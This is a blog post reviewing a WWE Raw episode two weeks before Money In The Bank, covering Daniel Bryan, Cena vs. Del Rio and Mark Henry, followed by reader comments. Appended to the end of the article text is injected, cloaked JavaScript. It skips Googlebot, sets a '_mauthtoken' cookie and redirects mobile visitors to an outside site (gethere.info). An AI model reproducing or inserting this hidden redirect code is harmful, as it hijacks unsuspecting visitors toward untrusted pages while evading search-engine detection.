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The Raw Rerun (2 Weeks Until Money In The Bank)

The Raw Rerun

What happened to the fun streak of shows? This show was a bit mind-boggling and more than anything, just flat out boring. And Daniel Bryan’s character took a turn for the weird.

Daniel Bryan’s odd heel tactics.

I’m not quite sure what they’re doing with him. It seemed like he was getting way over as a babyface, but like they’ve done with Dolph Ziggler lately and Sheamus for the last year, they’re having him do heelish things, which takes away from how over he is.

After beating Randy Orton last week and bragging about it all on Smackdown, he took a turn for the annoying. He opened the Money In The Bank All-Star promo where every Money In The Bank contestant for the WWE title spoke except for RVD. Most of the promo was boring and the crowd only really got excited when Punk came out. They all said why they should win the Money In The Bank.

Bryan didn’t actually wrestle on the show. Instead, he refereed a match between Randy Orton and Kane and while I think he has depth as a character, his depth shows strongest when he’s wrestling because he’s so good at telling stories inside the ring with his wrestling. By having him not wrestle, he became the third annoying wheel in a bad match. I didn’t think it was good usage of him at all.

He played heel ref helping Kane win who didn’t want his help. The story was that since he beat Orton cleanly and fairly, he wanted Kane to know that the only way he could beat Orton was with Bryan’s help.

Title vs. title

For some reason, they decided to do a John Cena vs. Alberto Del Rio match. This was really weird. For one, it was a two hour build to a match they were trying to put over as so special. And secondly, the match was non-title so I’m not sure how big it could’ve been. And third, like Vince McMahon would say later in the show, we’re used to the important matches being on PPV, thus, this didn’t feel all that special. Wait, Vince has the final say. So was he making fun of himself?

The cool thing they did was put over both belts with packages featuring former champions, including Sting. I mentioned that there’s talk of Sting coming to WWE earlier today.

And the match didn’t match the created buzz. This might just be me personally, but I don’t see a lot of chemistry between the two wrestlers. And I’m not sure if Cena really needed to pin Del Rio.

Oddly, Ricardo was also suspended for wellness issues. Ricardo, of all people…

Mark Henry is scary.

Henry yet again delivered the best promo on the show, looking at the camera at the end in a very menacing way. You kind of want him to beat John Cena. And the way this is being built, you sort of believe it’s going to happen.

Didn’t I tell you Mark Henry is scary?

Henry also came out after Cena beat Del Rio and nearly scared Cena half to death. Cena played the scared guy very well.

And the rest…

  • The Wyatts are coming next week.
  • After Christian pinned Dean Ambrose on Smackdown in a 6-man tag, Ambrose pinned him on Raw in the rematch. Oh well. The Usos are a damn good opponent for the Shield. I just wish they hadn’t been labeled as less-than-midcard for the last couple years.
  • Dolph Ziggler pinned Jinder Mahal.
  • Triple H told Vickie the key to the McMahons is to listen to them, but then not do what they want you to do.
  • Paul Heyman tried to get Punk to trust Curtis Axel. I’m not sure I like Punk’s new babyface role quite yet.
  • Fandango was back! But then he walked to the back during his match with Sheamus and lost via count out.
  • In one of the most head scratching finishes ever, The Miz beat Ryback via verbal tapout. Ryback’s knee was hurting and he quit. Jericho likes to call him Cryback. Whatever he is, he’s now a puss too. Jericho gave him a Codebreaker too.
  • Punk and Axel won when Axel stole Punk’s pin.
  • Kaitlyn beat Alicia Fox and then AJ came out to show Kaitlyn’s face on a fat body. Piggie James again? Ugh.
  • Stephanie announced that Vickie will get a job evaluation. Who will give it? Her? Vince? Triple H? Is this just an excuse to get them in the ring together? Also, who in the heck is styling Stephanie for TV. I’m really not trying to be mean, but she looks very mannish here to me. You be the judge.

Stephanie

  • Jack Swagger and Antonio Cesaro are now with Zeb Coulter. Cesaro beat Dashing Cody Rhodes.
  • The divas did a segment together to prepare us for the Total Divas E! show. It was awful.

The show wasn’t great, but even more so, it was just boring. Let’s hope they get their smile back next week. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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6 thoughts on “The Raw Rerun (2 Weeks Until Money In The Bank)

  1. This show I did not enjoy.

    The Danielson thing goes back to my point about them being hopelessly clueless when it comes to booking babyfaces. The crowd here were dying to see him get his comeuppance. That is not good. And you touched on it in the column already, I have a feeling Punk’s character may be going the way of the rest of the faces to.

    Also the writing for that opening segment was terrible for everyone. They had six of their top guys out there and all they did could do was fumble through some of the most tired wrestling cliches. I’m really looking forward to that match and I still couldn’t have cared less about this segment. Again, not good.

    If at least half of the audience didn’t tune out as soon as Ryback and Miz started wrestling, I’m calling work on WWE’s viewing figures. Also Cesaro vs Cody: who the hell came up with that one? I do like the idea of a Swagger/Antonio tag team as a way to rebuild both guys. Trouble is The Shield have the belts, which doesn’t give them much space to work.

    What I did like was the Mark Henry video package. That and the Wyatts’ stuff. That’s two things. The rest was awful. Hopefully Bray and his boys can drag the show back up from the depths of hell next week.

  2. I wonder who the Wyatts feud with immediately? They come in as heels or faces? Or heels who immediately become faces?

  3. I’m certain they’re heels, but I think the crowd will mostly cheer them, just because they’re different and interesting.

  4. Ya, that’s what I was thinking. Who could they feud with? All the goofy midcard teams seem to be on the heel side.

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